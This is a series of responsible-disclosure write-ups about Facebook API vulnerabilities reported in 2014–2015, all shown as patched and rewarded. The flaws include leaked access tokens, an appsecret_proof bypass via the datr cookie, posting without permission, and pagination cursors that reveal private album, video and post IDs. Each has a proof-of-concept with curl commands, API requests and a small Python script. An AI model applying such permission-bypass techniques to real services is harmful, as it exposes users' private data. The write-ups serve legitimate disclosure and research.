Within Facebook API posts, the icon field has the access_token of the current application appended to it. This seemed to be a recent change, but not intentional as appending the access_token here doesn’t change the viewing permission of the icon.

Proof of Concept

A call to any /userid/feed or pageid/feed endpoint resulted in a format similar to the following

{
"icon": "https://www.facebook.com/images/icons/post.gif?access_token=ACCESS_TOKEN&fields=icon%2Cpicture&format=json&method=get&pretty=0&suppress_http_code=1",
"picture": "https://fbexternal-a.akamaihd.net/safe_image.php",
"id": "post_id",
"created_time": "..."
}

This also happened with post objects of the type event and video.

  • https://www.facebook.com/images/icons/event.gif
  • https://www.facebook.com/images/icons/video.gif

And the format appended was

access_token=ACCESS_TOKEN&fields=icon,picture&format=json&method=get&pretty=0&suppress_http_code=1

The issue here is that some applications are probably loading the icons to display in a feed on websites. Based on how these icons were stored and shown access_token might have open to public viewing without the application owner/developer knowledge.

Timeline

Mar 5, 2015 2:38pm – Report Sent
Mar 9, 2015 6:58pm – Escalation by Facebook
Mar 17, 2015 11:33pm – Patched and Bounty Awarded of $750 by Facebook

Via a combination of API calls, I am able to bypass this restriction. Specifically, I can post photos to friends’ timelines without the use of a whitelisted application (such as Facebook for iOS) and with a 2.0+ application (so no 1.0 tricks, thus this can work after 1.0 deprecation)

Background

In October 2013, Facebook Developer Team implemented a change to the API

Removing the ability to post to friends’ timelines via API
We have found that posting content via API (stream.publish) on a friend’s wall lead to a high incidence of user dissatisfaction (hiding content, blocking the app). After the migration period, posting content to friends’ timelines via stream.publish will no longer be allowed. Please use the Feed Dialog for posting.

https://developers.facebook.com/docs/apps/migrations/completed-changes

Proof of Concept

HTTP POST

/unpublished-photo-id

target=friend-id
published=1

Response

{
"success": true
}

Where an unpublished is created via a method found in https://developers.facebook.com/docs/graph-api/reference/v2.2/page/photos. The post is created and appears on the target’s wall with a notification.

This has been patched and now returns

{
"error": {
"message": "(#200) This app is not allowed to publish to other users' timelines.",
"type": "OAuthException",
"code": 200
}

Timeline

Mar 1, 2015 2:47pm – Report Sent
Mar 2, 2015 2:45pm – Escalation to Facebook
Mar 4, 2015 2:26pm – Confirmation of fix
Mar 4, 2015 7:42pm – Bounty Awarded of $1250 by Facebook

This is a proof of logic rather than a simple permissions check. It works off a thought pattern such that there are permissions that according to the documentation should depend on each other but are not being enforced in the API.

According to https://developers.facebook.com/docs/graph-api/reference/v2.2/conversation/messages, a conversation-id can be read as long as read_page_mailboxes is supplied. Further along it states that to reply to a message

A page access token for the page is required

It’s safe to assume that one will need read_page_mailboxes to get the conversation-id first and then post using conversation-id/messages.

So to me the above should actually read

A page access token for the page is required (with read_page_mailboxes granted to the user session to see the conversation-id)

While this is how it works, the prerequisite isn’t checked again when posting to conversation-id/messages.

The impact here is that an app that has had read_page_mailboxes revoked from a user session can still post to the conversation-id/messages edge given the app stored the conversation-id ahead of revoke.

This was patched such that the following error is now returned

{
"error": {
"message": "(#279) Requires extended permission: read_page_mailboxes",
"type": "OAuthException",
"code": 279
}
}

Timeline

Feb 26, 2015 7:21pm – Report Sent
Feb 27, 2015 5:42pm – Escalation to Facebook
Mar 13, 2015 3:14pm – Patched and Bounty Awarded of $750 by Facebook

Using the most basic permissions, public_profile, it is possible to change the description/name

Any editable field (https://developers.facebook.com/docs/graph-api/reference/v2.2/video) of any of the session user’s videos. This is undocumented, though it seems, that a permission requirement should be applied to modify the video object.

Proof of Concept

Execute a HTTP POST call

curl -F 'name=My Potato Video' \
-F 'access_token=ACCESS_TOKEN' \

https://graph.facebook.com/video_id

The result is that video name has been changed from “Hot Video” to “My Potato Video”

This was patched and now asks for the publish_action permission.

Timeline

Feb 25, 2015 6:59am – Report Sent
Feb 25, 2015 6:24pm – Escalation by Facebook
Mar 20, 2015 10:47am – Patched and Bounty Awarded of $3000 by Facebook

There seems to be more information being displayed than necessary in errors from GraphQL leading to presentation of a full path of a directory or a file via the BLAME_files and BLAME_dirs feature.

Description

While the files and directories to blame will be of great use to any Facebook employee working on GraphQL (e.g. Jing Chen) I don’t see the need for an ordinary user to be able to see this information.

Normally in other areas I’ve looked at this information isn’t disclosed, and just the error message (less the BLAME_) is shown.

So before I end up on CluelessSec…

I’ve sat on this for a few months trying to see how I can escalate this or combine it with another bug and so far I’ve just been able to guess and use pre-existing information such as http://sintheticlabs.com/blog/a-look-inside-facebooks-source-code.html. Nevertheless as more information is released from GraphQL such as the spec Jing Chen mentioned in her React.JS talk, the easier it will be for me in the future to reach something more substantial by gathering more files names and directory structures until I can make better educated guesses to internal features.

Proof of Concept

Execute a mutation on a GraphQL call, this was also mentioned briefly at the 23min mark in the React.JS talk http://youtu.be/9sc8Pyc51uU?t=23m19s.

The call is changed in such a manner that will bring about an error. Once the error is raised, one can inspect the description to see which files or directories were assigned blame.

These all had starting paths as www/flib/ Some were already known in http://sintheticlabs.com/blog/a-look-inside-facebooks-source-code.html others were not.

I appreciate Facebook offering a Bounty for this and @JosipFranjkovic for pushing me to submit this.

Timeline

Feb 9, 2015 5:05pm – Report Sent
Feb 10, 2015 11:07am – Escalation to Facebook
Mar 3, 2015 10:12am – Confirmation of fix
Mar 3, 2015 11:39am – Bounty Awarded of $750 by Facebook

Undocumented in v2.0+ is a /group-id/photos/ endpoint which doesn’t obey the publish_actions permission requirement.

According to https://developers.facebook.com/docs/graph-api/reference/v2.2/group/feed, to publish to a group feed, a user needs publish_actions and user_groups permission. Comparing it to https://developers.facebook.com/docs/graph-api/reference/v2.2/user/photos, it seems that that the /group-id/photos/ endpoint should indeed be checking for publish_actions and user_groups permission.

Therefore this endpoint only needs basic login (no additional permission required) to post a photo to a group. Based on how Facebook permissions work, this doesn’t seem like something good that should happen.

Proof of Concept

Using a v2.0+ application

App ID: 819244098116110
Name: NewVersionLeepingTest

Access Token with no additional permissions added

{
"data": [
{
"permission": "public_profile",
"status": "granted"
}
]
}

Execute a HTTP POST call to

/1591230971096900/feed

{
"error": {
"message": "(#200) The user hasn't authorized the application to perform this action",
"type": "OAuthException",
"code": 200
}
}

As one expects since publish_actions is not included, the error message is correct.

Let’s try the undocumented endpoint

HTTP POST

/1591230971096900/photos

url=https://41.media.tumblr.com/011d0008086f89384685c7642ffa39ff/tumblr_niagzwZ7L91tdhimpo1_540.png

{
"id": "10101941607120697",
"post_id": "10101707496894467_1622968764589787"
}

The post has been created in the group https://www.facebook.com/groups/1591230971096900/permalink/1622968764589787/

There needs to be a check here for publish_actions and user_groups if the documentation is missing this endpoint or the endpoint needs to be removed/whitelisted if it wasn’t meant for the public.

Timeline

Feb 4, 2015 4:39pm – Report Sent
Feb 6, 2015 4:22pm – Escalation by Facebook
Feb 12, 2015 8:36pm – Confirmation of fix
Feb 12, 2015 9:49pm – Bounty awarded of $1500 by Facebook

For server calls, Facebook provides a way to secure calls with the appsecret_proof. However, if the call is made from a client, it doesn’t seem the app secret is required and relies on the current Facebook session (cookies). This session unfortunately doesn’t depend on whether the user is logged in or not, or where the session originated from.

Using this information, the server call can just be modified to add one single cookie parameter to bypass the app secret proof. Meaning, https://developers.facebook.com/docs/graph-api/securing-requests

You can prevent this by adding the appsecret_proof parameter to every API call from a server. This prevents bad guys from making API calls with your access tokens from their servers.

is easily still possible to accomplish with the appsecret_proof enabled.

Proof of Concept
Using an application with app secret proof enabled

App: NotLeepingApp
ID: 458290410972131

https://developers.facebook.com/apps/458290410972131/settings/advanced/

Execute a curl call

$ curl 'https://graph.facebook.com/me?access_token=ACCESS_TOKEN'

Response

{
"error": {
"message": "API calls from the server require an appsecret_proof argument",
"type": "GraphMethodException",
"code": 100
}
}

As expected, though while testing how the client calls work, it was noticed by trial and error, all that was needed to make this call work again was the datr cookie.

As explained here https://fbcdn-dragon-a.akamaihd.net/hphotos-ak-prn1/851576_193932070769264_1415834022_n.pdf – Facebook Ireland Audit Review Report 21 Sept 2012

The purpose of the datr cookie is to identify the web browser being used to connect to
Facebook independently of the logged in user. This cookie plays a key role in Facebook’s
security and site integrity features.

The key section “identify the web browser being used to connect to Facebook independently of the logged in user” means I don’t need to fiddle with creating fake users or my personal account to supply the datr cookie.

In addition, the lifetime of the datr cookie is two years.

So one just needs a simple page (while not logged in) with not too much data

$ curl 'https://www.facebook.com/feeds/api_status.php' -I
HTTP/1.1 200 OK
Last-Modified: Wed, 31 Dec 1969 16:00:00 -0800
X-Frame-Options: DENY
Content-Type: application/json
X-Content-Type-Options: nosniff
P3P: CP="Facebook does not have a P3P policy. Learn why here: http://fb.me/p3p"
Cache-Control: private, no-cache, no-store, must-revalidate
Expires: Sat, 01 Jan 2000 00:00:00 GMT
Pragma: no-cache
X-UA-Compatible: IE=edge,chrome=1
Set-Cookie: datr=ar_HVO1jQBlp3EeTq_7A270d; expires=Thu, 26-Jan-2017 16:40:10 GMT; Max-Age=63072000; path=/; domain=.facebook.com; httponly
X-FB-Debug: ufap/wetAAlRQnm2Icm417TZIjiVBtEzrw5A13qra9RoTGHOMlu7JQ5xMLqC1YzDR+Z9AtPoJDPh7k6A3xaBGw==
Date: Tue, 27 Jan 2015 16:40:10 GMT
Connection: keep-alive
Content-Length: 205

The cookie here datr=ar_HVO1jQBlp3EeTq_7A270d can be used in our request. It should be noted it is not tied to the user.

$ curl 'https://graph.facebook.com/me?access_token=ACCESS_TOKEN' -H 'cookie: datr=ar_HVO1jQBlp3EeTq_7A270d'

Response

{
"id": "10101589956087187",
"first_name": "Philippe",
"gender": "male",
"last_name": "Harewood",
"link": "https://www.facebook.com/app_scoped_user_id/10101589956087187/",
"locale": "en_US",
"name": "Philippe Harewood",
"timezone": -4,
"updated_time": "2015-01-27T15:51:23+0000",
"verified": true
}

So now as a server, it’s just to wrap this up into a little script

import requests

url = 'https://www.facebook.com/feeds/api_status.php'
r = requests.get(url)

datr = r.cookies['datr']

graph_url = 'https://graph.facebook.com/me?access_token=ACCESS_TOKEN'

cookies = dict(datr=datr)

g = requests.get(graph_url, cookies=cookies)
print g.text

It seems like an extra check is missing here, such as the xs cookie perhaps. Normally a datr cookie wouldn’t be enough to access data in Facebook, as you will arrive at a login screen, so it’s strange that it’s the only cookie being used as an alternative to the app secret proof for preventing server side calls on stolen tokens.

Facebook’s Initial Response

This is intentional behavior in our product, for now. It’s a trade-off, in that if we decided to block calls such as yours, we might end up blocking legitimate ones, and we would rather not do that. But rest assured that we’re logging those cases. So even though we consider it an accepted risk, we have controls in place to monitor and mitigate abuse.

This seems fair, so I didn’t think much of it and went on to researching other areas, until I received

Facebook’s Second Response

We revisited the matter here and are investigating the full implications of your report. That’s the reason why I reopened the case. We will keep you up to date on progress. Stay tuned :)
Thanks,

Nice.

The fix implemented by Facebook seems to counter the mentioned method earlier. I’m sure there is a new trade-off point so Facebook still allows legitimate requests but I’ll leave it be for now :) Thanks to Reginaldo and Neal on the Facebook Security Team.

Timeline

Jan 27, 2015 1:05pm – Report Sent
Jan 28, 2015 5:57pm – First Response by Facebook
Jan 29, 2015 9:26pm – Second Response by Facebook
Jan 30, 2015 8:45pm – Patched by Facebook
Feb 4, 2015 6:29am – Bounty awarded of $2500 by Facebook

According to Facebook, Cursor-based pagination is the most efficient method of paging and should always be used where possible – a cursor refers to a random string of characters which mark a specific item in a list of data. Using certain access tokens with access to specific data it was possible to translate the cursor to an object ID that the session user doesn’t have access. In short, the cursors were leaking data.

In the paging documentation, https://developers.facebook.com/docs/graph-api/using-graph-api/v2.2#paging

When reading an edge that supports cursor pagination, you will see the following JSON response:

{
"data": [
... Endpoint data is here
],
"paging": {
"cursors": {
"after": "MTAxNTExOTQ1MjAwNzI5NDE=",
"before": "NDMyNzQyODI3OTQw"
},
"previous": "https://graph.facebook.com/me/albums?limit=25&before=NDMyNzQyODI3OTQw"
"next": "https://graph.facebook.com/me/albums?limit=25&after=MTAxNTExOTQ1MjAwNzI5NDE="
}
}

What isn’t explicitly stated in the documentation is that these cursors aren’t as random as they appear. These are in fact base64 encoded object IDs.

echo MTAxNTExOTQ1MjAwNzI5NDE= | base64 --decode
10151194520072941

Which is https://www.facebook.com/matthewjohnston4/media_set?set=a.10151194520072941.476776.825212940&type=1

And

echo NDMyNzQyODI3OTQw | base64 --decode
432742827940

Which is https://www.facebook.com/matthewjohnston4/media_set?set=a.432742827940.204642.825212940&type=1

I first arrived at this when inspecting this bug Tagged Places shouldn’t show paging params if no user_tagged_places granted

I was told they were aware of paging bug, nevertheless I decided to dig and see how far and what data I was able to get before they fixed it. Here are some major areas that I found

  • Get the Ad Account and Group ID for any user
  • Get Ad Account Group for any user
  • Paging Cursors leaking data in GraphQL

The final one I believe was the kicker

GraphQL is an internal API Facebook has been using on their mobile applications for the past two years https://www.youtube.com/watch?v=9sc8Pyc51uU. I’ve been trying to find bugs in it for the last year D: D: D:

Using GraphQL, certain endpoints and the fact that cursors were leaking data I was able to determine

Uploaded Albums of any user (private “Only Me” included)

Execute a call to

graph.facebook.com/graphql?q=node(13608786){albums{page_info}}

Response

{
"13608786": {
"albums": {
"page_info": {
"start_cursor": "10100166639365307",
"end_cursor": "533270280057",
"has_next_page": true,
"has_previous_page": true,
"delta_cursor": null
}
}
}
}

Notice that the end cursor 533270280057 is the ID of an album set only to Friends for user 13608786

https://www.facebook.com/philippeharewood/media_set?set=a.533270280057.2147497.13608786&type=1

So by using the start_cursor, end_cursor and before params I can page through the data to identify IDs that are not available under privacy set to Public

graphql?q=node(13608786){albums.before("END_CURSOR_HERE"){page_info,nodes}}

Uploaded Videos of any user (private “Only Me” included)

A similar approach can be taken with any user’s uploaded videos

graphql?q=node(13608786){uploaded_videos{page_info}}

{
"13608786": {
"uploaded_videos": {
"page_info": {
"start_cursor": "10101702399754177",
"end_cursor": "10100949657825037",
"has_next_page": true,
"has_previous_page": true,
"delta_cursor": null
}
}
}
}

List of Video IDs
using graphql?q=node(13608786){uploaded_videos.before(10100949657825037){page_info}}

  • 10100949657825037 <- Privacy Friends Only
  • 10101077678944687
  • 10101401336302747
  • 10101521764558557
  • 10101651585710927
  • 10101651591259807
  • 10101702399754177 <- Privacy Only me

Time creation of all Timeline Stories of any user (private “Only Me” included)

Here I wasn’t able to deduce the IDs, as the cursor worked on the updated time of the post. Which turned out to be just as good

Say I (13608786) just updated by status privately (Only me) at 1419882632 unix time.

https://www.facebook.com/philippeharewood/posts/10101888152743697

Using the endpoint from the querying user.

graphql?q=node(13608786){timeline_stories{page_info}}

{
"13608786": {
"timeline_stories": {
"page_info": {
"start_cursor": "MTQxOTg4MjYzMjox",
"end_cursor": "MTQxOTIwOTAwNjox",
"has_next_page": true,
"has_previous_page": true,
"delta_cursor": null
}
}
}
}

From previous bug reports, we know this is just base64 encoded

Decoding the start_cursor

echo MTQxOTg4MjYzMjox | base64 --decode
1419882632:1

1419882632 matches the unix time from earlier.

Using the methods from Uploaded Videos and Uploaded Albums, and throwing it into a Python script, I can make a graph of any user’s activity based on updated time regardless of privacy level set.

  • When does user X post the most/least?
  • Which days?
  • Which week?
    …etc.

Timeline

Dec 29, 2014 4:01pm – Report Sent
Dec 30, 2014 4:53pm – Escalation by Facebook
Jan 30, 2015 2:27pm – Patched and bounty awarded of $7500 by Facebook

Using the endpoint /me/tagged_places the response lists; paging info, next param info. Within these values are the place tags IDs base64 encoded. I’m not really sure what’s the point of showing this when there is no permission granted for user_tagged_places.

Originally I filed this with the Platform Team but they closed it and said to file it here.

Thanks for filing a bug. I think you should definitely go ahead and whitehat report this. This is leaking user info without appropriate permissions.

If the security folks for some reason feel it’s not a whitehat issue, just comment on this bug. we will reopen and escalate it here. I know it’s a little more work on your end, but it’s worth it. :)

Proof of Concept

Using the Graph API Explorer with no extra permissions

Execute a call to /me/tagged_places

{
"data": [
],
"paging": {
"cursors": {
"before": "MTAxMDE4NTA2ODg0MjI0OTc=",
"after": "MTAxMDA3NjUyNzY0MjE4NDc="
},
"next": "https://graph.facebook.com/v2.2/13608786/tagged_places?pretty=0&limit=25&after=MTAxMDA3NjUyNzY0MjE4NDc%3D"
}
}

Taking the before parameter

$ echo MTAxMDE4NTA2ODg0MjI0OTc= | base64 --decode

1010185068842249

With user_tagged_places and user_photos (this combo is needed yet not documented, user_tagged_places is needed to access the place tag but this is restricted by the fact that the place is tagged via a photo uploaded object)

this ID resolves to

{
"id": "10101850688422497",
"created_time": "2014-11-28T12:16:42+0000",
"place": {
"id": "112083888860152",
"location": {
"city": "Port of Spain",
"country": "Trinidad and Tobago",
"latitude": 10.6583515734,
"located_in": "176754389001942",
"longitude": -61.5321243714
},
"name": "PriceSmart"
}
}

The expected response for /me/tagged_places or any /user-id/tagged_places (This bug works for users other than the session user as well) is a blank array.

{
"data": [
]
}

or a permissions error.

Timeline

Dec 4, 2014 10:14pm – Report Sent
Dec 5, 2014 1:34pm – Escalation by Facebook
Dec 22, 2014 4:55pm – Patched and bounty awarded of $750 by Facebook

In particular whoever develops Facebook Pages Manager for iOS did checks to ensure that the following endpoints were checked for scope /me/threads and unified_thread FQL table. These were denied access within Pages Manager. Unfortunately there were other endpoints which could access this data that were left unchecked.

Executing calls to /me/threads

and in FQL

SELECT thread_fbid FROM unified_thread WHERE folder='inbox' and archived = 0

Will result in the following message for an access_token belonging to Facebook Pages Manager for iOS

{
"error": {
"message": "(#298) Pages Manager app should not read user messages",
"type": "OAuthException",
"code": 298
}
}

So Facebook implemented a check that ensures Pages Manager only needs to access data pertinent to itself.

Though, trying for /me/inbox?limit=1

A response such as follows will be returned

{
"data": [
{
"id": "FRIEND_ID",
"to": {
"data": [
{
"id": "13608786",
"name": "Philippe Harewood"
}
]
},
"updated_time": "...",
"unread": 0,
"unseen": 0
}
],
"paging": {
"previous": "https://graph.facebook.com/v2.2/13608786/inbox?limit=1&since=1415577362&__paging_token=...",
"next": "https://graph.facebook.com/v2.2/13608786/inbox?limit=1&until=1415577362&__paging_token=..."
},
"summary": {
"unseen_count": 0,
"unread_count": 0,
"updated_time": "..."
}
}

Timeline

Nov 9, 2014 7:59pm – Report Sent
Nov 11, 2014 6:38pm – Escalation by Facebook
Dec 13, 2014 3:19pm – Confirmation of still under investigation
Dec 30, 2014 3:26pm – Bounty Awarded of $750 by Facebook (still under investigation)
Mar 5, 2015 1:15am – Patched by Facebook

I’d like to thank Facebook for offering the bounty even though the investigation was still in process. As a result, this report could not have been disclosed beforehand to abide by disclosure guidelines.